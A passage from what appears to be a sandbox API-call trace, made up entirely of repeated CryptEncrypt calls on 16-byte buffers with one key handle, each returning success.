pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.920] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.921] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.922] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, 